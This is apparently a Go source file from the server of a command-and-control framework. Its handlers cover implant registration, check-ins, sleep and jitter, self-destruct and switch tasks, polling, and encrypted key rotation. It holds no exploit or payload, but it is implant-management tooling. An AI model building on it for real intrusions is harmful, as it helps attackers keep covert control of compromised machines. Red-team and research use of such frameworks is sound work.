package rpc

import (
	"context"
	"fmt"
	"github.com/chainreactors/logs"
	"github.com/chainreactors/malice-network/helper/consts"
	"github.com/chainreactors/malice-network/helper/cryptography"
	"github.com/chainreactors/malice-network/helper/errs"
	"github.com/chainreactors/malice-network/helper/proto/client/clientpb"
	"github.com/chainreactors/malice-network/helper/proto/implant/implantpb"
	"github.com/chainreactors/malice-network/helper/types"
	"github.com/chainreactors/malice-network/server/internal/core"
	"github.com/chainreactors/malice-network/server/internal/db"
	"time"
)

func (rpc *Server) Register(ctx context.Context, req *clientpb.RegisterSession) (*clientpb.Empty, error) {
	var err error
	sess, err := core.Sessions.Get(req.SessionId)
	if err != nil {
		sess, err = core.RegisterSession(req)
		if err != nil {
			return nil, err
		}
		sess.LastCheckin = getTimestamp(ctx)
		d := db.Session().Create(sess.ToModel())
		if d.Error != nil {
			return nil, err
		} else {
			sess.Publish(consts.CtrlSessionRegister, fmt.Sprintf("new session %s from %s start at %s", sess.Abstract(), sess.Target, sess.PipelineID), true, true)
			logs.Log.Importantf("new session %s from %s", sess.ID, sess.PipelineID)
		}
		core.Sessions.Add(sess)
	} else {
		logs.Log.Infof("session %s re-register", sess.ID)
		sess.Update(req)
		//sess.Publish(consts.CtrlSessionReborn, fmt.Sprintf("%s from %s reborn at %s", sess.Abstract(), sess.Target, sess.PipelineID), true, true)
		core.Sessions.Add(sess)
	}
	// 如果启用了安全模式，自动触发密钥交换
	if sess.SecureManager != nil {
		err := rpc.triggerKeyExchange(ctx, sess)
		if err != nil {
			return nil, err
		}
	}
	return &clientpb.Empty{}, nil
}

func (rpc *Server) SysInfo(ctx context.Context, req *implantpb.SysInfo) (*clientpb.Empty, error) {
	id, err := getSessionID(ctx)
	if err != nil {
		return nil, err
	}
	sess, err := core.Sessions.Get(id)
	if err != nil {
		return nil, err
	}
	sess.UpdateSysInfo(req)
	return &clientpb.Empty{}, nil
}

func (rpc *Server) Checkin(ctx context.Context, req *implantpb.Ping) (*clientpb.Empty, error) {
	sid, err := getSessionID(ctx)
	if err != nil {
		return nil, err
	}
	var sess *core.Session
	if sess, err = core.Sessions.Get(sid); err != nil {
		dbSess, err := db.FindSession(sid)
		if err != nil || dbSess == nil {
			return nil, err
		}
		dbSess.LastCheckin = getTimestamp(ctx)
		sess, err = core.RecoverSession(dbSess)
		if err != nil {
			return nil, err
		}
		core.Sessions.Add(sess)
		sess.Publish(consts.CtrlSessionReborn, fmt.Sprintf("session %s from %s reborn at %s", sess.Abstract(), sess.Target, sess.PipelineID), true, true)
		logs.Log.Debugf("recover session %s", sid)
	}
	sess.LastCheckin = getTimestamp(ctx)
	sess.Publish(consts.CtrlSessionCheckin, "", false, false)

	// 增加密钥轮换计数器并检查是否需要轮换
	if sess.SecureManager != nil {
		if sess.SecureManager.ShouldRotateKey() {
			err = rpc.triggerKeyExchange(ctx, sess)
			if err != nil {
				return nil, err
			}
		} else {
			sess.SecureManager.IncrementCounter()
		}
	}

	return &clientpb.Empty{}, nil
}

// sleep
func (rpc *Server) Sleep(ctx context.Context, req *implantpb.Timer) (*clientpb.Task, error) {
	greq, err := newGenericRequest(ctx, req)
	if err != nil {
		return nil, err
	}
	ch, err := rpc.GenericHandler(ctx, greq)
	if err != nil {
		return nil, err
	}

	go greq.HandlerResponse(ch, types.MsgEmpty)
	if session, err := getSession(ctx); err == nil {
		session.Jitter = req.Jitter
		session.Expression = req.Expression
		err := session.Save()
		if err != nil {
			return nil, err
		}
	} else {
		return nil, err
	}
	return greq.Task.ToProtobuf(), nil
}

func (rpc *Server) Suicide(ctx context.Context, req *implantpb.Request) (*clientpb.Task, error) {
	greq, err := newGenericRequest(ctx, req)
	if err != nil {
		return nil, err
	}
	ch, err := rpc.GenericHandler(ctx, greq)
	if err != nil {
		return nil, err
	}

	go greq.HandlerResponse(ch, types.MsgEmpty)
	return greq.Task.ToProtobuf(), nil
}

func (rpc *Server) Switch(ctx context.Context, req *implantpb.Switch) (*clientpb.Task, error) {
	greq, err := newGenericRequest(ctx, req)
	if err != nil {
		return nil, err
	}
	ch, err := rpc.GenericHandler(ctx, greq)
	if err != nil {
		return nil, err
	}

	go greq.HandlerResponse(ch, types.MsgEmpty)
	return greq.Task.ToProtobuf(), nil
}

func (rpc *Server) InitBindSession(ctx context.Context, req *implantpb.Request) (*clientpb.Empty, error) {
	greq, err := newGenericRequest(ctx, req)
	if err != nil {
		return nil, err
	}
	_, err = rpc.GenericHandler(ctx, greq)
	if err != nil {
		return nil, err
	}
	return &clientpb.Empty{}, nil
}

func hasIntersection(slice1, slice2 []uint32) bool {
	set := make(map[uint32]struct{})

	for _, v := range slice1 {
		set[v] = struct{}{}
	}

	for _, v := range slice2 {
		if _, exists := set[v]; exists {
			return true
		}
	}

	return false
}

func (rpc *Server) Polling(ctx context.Context, req *clientpb.Polling) (*clientpb.Empty, error) {
	sess, err := core.Sessions.Get(req.SessionId)
	if err != nil {
		return nil, errs.ErrNotFoundSession
	}
	go func() {
		logs.Log.Debugf("polling:%s %s, interval %d", req.Id, sess.ID, req.Interval)
		sess.Any[req.Id] = true
		defer func() {
			delete(sess.Any, req.Id)
			logs.Log.Debugf("polling:%s %s done", req.Id, sess.ID)
		}()
		for {
			if _, ok := sess.SessionContext.GetAny(req.Id); !ok {
				break
			}
			if !req.Force {
				// 如果不为force, 且所有需要等待的任务都已经完成, 则退出轮询
				tasks := sess.Tasks.All()
				var notfinishedId []uint32
				for _, task := range tasks {
					if task.Finished() {
						continue
					}
					notfinishedId = append(notfinishedId, task.Id)
				}

				if !hasIntersection(req.Tasks, notfinishedId) {
					break
				}
			}
			err = sess.Request(
				&clientpb.SpiteRequest{Session: sess.ToProtobufLite(), Task: nil, Spite: types.BuildPingSpite()},
				pipelinesCh[sess.PipelineID])
			if err != nil {
				return
			}
			time.Sleep(time.Duration(req.Interval))
		}
	}()
	return &clientpb.Empty{}, err
}

// triggerKeyExchange 自动触发密钥交换流程
func (rpc *Server) triggerKeyExchange(ctx context.Context, sess *core.Session) error {
	// 构建密钥交换请求
	keyPair, err := cryptography.RandomAgeKeyPair()
	if err != nil {
		return err
	}

	// 创建请求
	req := &implantpb.KeyExchangeRequest{
		PublicKey: keyPair.Public,
		Timestamp: uint64(time.Now().Unix()),
		Nonce:     cryptography.RandomString(16),
	}
	sess.SecureManager.ResetCounters()
	_, err = rpc.GenericInternal(ctx, req, consts.ModuleKeyExchange, func(spite *implantpb.Spite) {
		sess.UpdatePublicKey(spite.GetKeyExchangeResponse().PublicKey)
	})
	sess.UpdatePrivateKey(keyPair.Private)
	return err
}
